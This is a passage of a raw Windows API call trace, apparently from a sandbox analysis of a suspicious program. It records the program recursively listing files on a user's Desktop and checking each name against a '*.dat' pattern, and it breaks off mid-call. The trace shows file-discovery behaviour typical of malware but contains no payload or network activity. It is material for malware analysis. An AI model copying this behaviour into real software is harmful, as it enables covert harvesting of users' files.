lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.506] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.506] lstrcatW (in: lpString1="\\", lpString2="6jSeen9MOc.mp3" | out: lpString1="\\6jSeen9MOc.mp3") returned="\\6jSeen9MOc.mp3" [0099.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.506] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.506] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113000, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.507] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.507] PathMatchSpecW (pszFile="6jSeen9MOc.mp3", pszSpec="*.dat") returned 0 [0099.507] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.507] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f4d5ac0, ftCreationTime.dwHighDateTime=0x1d7aea7, ftLastAccessTime.dwLowDateTime=0xccbb5650, ftLastAccessTime.dwHighDateTime=0x1d7afc0, ftLastWriteTime.dwLowDateTime=0xccbb5650, ftLastWriteTime.dwHighDateTime=0x1d7afc0, nFileSizeHigh=0x0, nFileSizeLow=0x38d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8plxNnRp.swf", cAlternateFileName="")) returned 1 [0099.507] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.507] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.507] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="8plxNnRp.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf" [0099.507] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.507] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.507] lstrcatW (in: lpString1="\\", lpString2="8plxNnRp.swf" | out: lpString1="\\8plxNnRp.swf") returned="\\8plxNnRp.swf" [0099.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0099.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x34300d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", lpUsedDefaultChar=0x0) returned 44 [0099.507] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.507] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113138, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.507] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113138 | out: hHeap=0x2110000) returned 1 [0099.507] PathMatchSpecW (pszFile="8plxNnRp.swf", pszSpec="*.dat") returned 0 [0099.507] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.507] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0099.507] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.507] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.507] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini" [0099.507] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.507] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.508] lstrcatW (in: lpString1="\\", lpString2="desktop.ini" | out: lpString1="\\desktop.ini") returned="\\desktop.ini" [0099.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x34300d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0099.508] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.508] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113000, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.508] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.508] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.dat") returned 0 [0099.508] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.508] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf952ee40, ftCreationTime.dwHighDateTime=0x1d7a8f3, ftLastAccessTime.dwLowDateTime=0xa402fd10, ftLastAccessTime.dwHighDateTime=0x1d7adc9, ftLastWriteTime.dwLowDateTime=0xa402fd10, ftLastWriteTime.dwHighDateTime=0x1d7adc9, nFileSizeHigh=0x0, nFileSizeLow=0x5bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQfg PRtMG 6zUvbPn.swf", cAlternateFileName="DQFGPR~1.SWF")) returned 1 [0099.508] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.508] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.508] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="DQfg PRtMG 6zUvbPn.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf" [0099.508] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.508] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.508] lstrcatW (in: lpString1="\\", lpString2="DQfg PRtMG 6zUvbPn.swf" | out: lpString1="\\DQfg PRtMG 6zUvbPn.swf") returned="\\DQfg PRtMG 6zUvbPn.swf" [0099.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x33aaf60, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", lpUsedDefaultChar=0x0) returned 54 [0099.509] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaf60 | out: hHeap=0x2110000) returned 1 [0099.509] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113030, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.509] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113030 | out: hHeap=0x2110000) returned 1 [0099.509] PathMatchSpecW (pszFile="DQfg PRtMG 6zUvbPn.swf", pszSpec="*.dat") returned 0 [0099.509] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112858 | out: hHeap=0x2110000) returned 1 [0099.509] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDvMoYL", cAlternateFileName="")) returned 1 [0099.509] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.509] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.509] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.509] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.509] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.509] lstrcatW (in: lpString1="\\", lpString2="EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.509] lstrcmpW (lpString1="EDvMoYL", lpString2=".") returned 1 [0099.509] lstrcmpW (lpString1="EDvMoYL", lpString2="..") returned 1 [0099.509] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.509] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*" [0099.509] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.510] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.510] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.510] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\." [0099.510] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.510] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.510] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="." | out: lpString1="\\EDvMoYL\\.") returned="\\EDvMoYL\\." [0099.510] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.510] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.510] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.510] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.510] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\.." [0099.510] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.510] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.510] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2=".." | out: lpString1="\\EDvMoYL\\..") returned="\\EDvMoYL\\.." [0099.510] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.510] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.510] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ab5220, ftCreationTime.dwHighDateTime=0x1d7abc3, ftLastAccessTime.dwLowDateTime=0xb95b0290, ftLastAccessTime.dwHighDateTime=0x1d7ad4f, ftLastWriteTime.dwLowDateTime=0xb95b0290, ftLastWriteTime.dwHighDateTime=0x1d7ad4f, nFileSizeHigh=0x0, nFileSizeLow=0x5f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mtbyKgsBp9ITL0q.wav", cAlternateFileName="MTBYKG~1.WAV")) returned 1 [0099.510] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.510] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.510] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="mtbyKgsBp9ITL0q.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav" [0099.510] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.510] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.510] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="mtbyKgsBp9ITL0q.wav" | out: lpString1="\\EDvMoYL\\mtbyKgsBp9ITL0q.wav") returned="\\EDvMoYL\\mtbyKgsBp9ITL0q.wav" [0099.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0099.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x2112b28, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", lpUsedDefaultChar=0x0) returned 59 [0099.511] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b28 | out: hHeap=0x2110000) returned 1 [0099.511] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113018, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.511] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113018 | out: hHeap=0x2110000) returned 1 [0099.511] PathMatchSpecW (pszFile="mtbyKgsBp9ITL0q.wav", pszSpec="*.dat") returned 0 [0099.511] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ed0 | out: hHeap=0x2110000) returned 1 [0099.511] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabbfa910, ftCreationTime.dwHighDateTime=0x1d7a62e, ftLastAccessTime.dwLowDateTime=0x1f017030, ftLastAccessTime.dwHighDateTime=0x1d7a688, ftLastWriteTime.dwLowDateTime=0x1f017030, ftLastWriteTime.dwHighDateTime=0x1d7a688, nFileSizeHigh=0x0, nFileSizeLow=0x160b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="phZbMj_330X.png", cAlternateFileName="PHZBMJ~1.PNG")) returned 1 [0099.511] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.511] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.511] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="phZbMj_330X.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png" [0099.511] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.511] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.511] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="phZbMj_330X.png" | out: lpString1="\\EDvMoYL\\phZbMj_330X.png") returned="\\EDvMoYL\\phZbMj_330X.png" [0099.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x33aade0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", lpUsedDefaultChar=0x0) returned 55 [0099.511] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aade0 | out: hHeap=0x2110000) returned 1 [0099.511] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130f0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.512] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0099.512] PathMatchSpecW (pszFile="phZbMj_330X.png", pszSpec="*.dat") returned 0 [0099.512] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112db0 | out: hHeap=0x2110000) returned 1 [0099.512] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c9890, ftCreationTime.dwHighDateTime=0x1d7a6b1, ftLastAccessTime.dwLowDateTime=0x7246ec70, ftLastAccessTime.dwHighDateTime=0x1d7af89, ftLastWriteTime.dwLowDateTime=0x7246ec70, ftLastWriteTime.dwHighDateTime=0x1d7af89, nFileSizeHigh=0x0, nFileSizeLow=0x11eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="UJ3K_uO6cMgmy7zg.flv", cAlternateFileName="UJ3K_U~1.FLV")) returned 1 [0099.512] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.512] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" 